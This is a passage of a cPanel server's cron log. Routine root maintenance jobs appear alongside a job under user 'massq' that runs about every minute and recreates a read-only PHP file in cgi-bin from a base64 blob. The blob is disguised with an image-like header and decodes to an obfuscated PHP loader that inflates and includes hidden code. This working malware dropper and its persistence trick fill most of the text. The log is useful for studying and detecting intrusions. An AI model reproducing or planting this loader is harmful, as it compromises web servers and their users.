bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:27:01 server CROND[26060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:27:01 server CROND[26061]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 11:28:01 server CROND[26110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:29:01 server CROND[26156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:30:01 server CROND[26215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:30:01 server CROND[26216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:30:01 server CROND[26217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:30:01 server CROND[26218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 11:31:01 server CROND[26338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:32:01 server CROND[26488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:33:01 server CROND[26543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:34:01 server CROND[26595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:35:01 server CROND[26648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 11:35:01 server CROND[26649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:35:01 server CROND[26650]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 11:35:01 server CROND[26654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:35:01 server CROND[26652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:36:01 server CROND[26772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:37:01 server CROND[26921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:38:01 server CROND[26965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:39:01 server CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 11:39:01 server CROND[27016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:40:01 server CROND[27066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:40:01 server CROND[27067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSk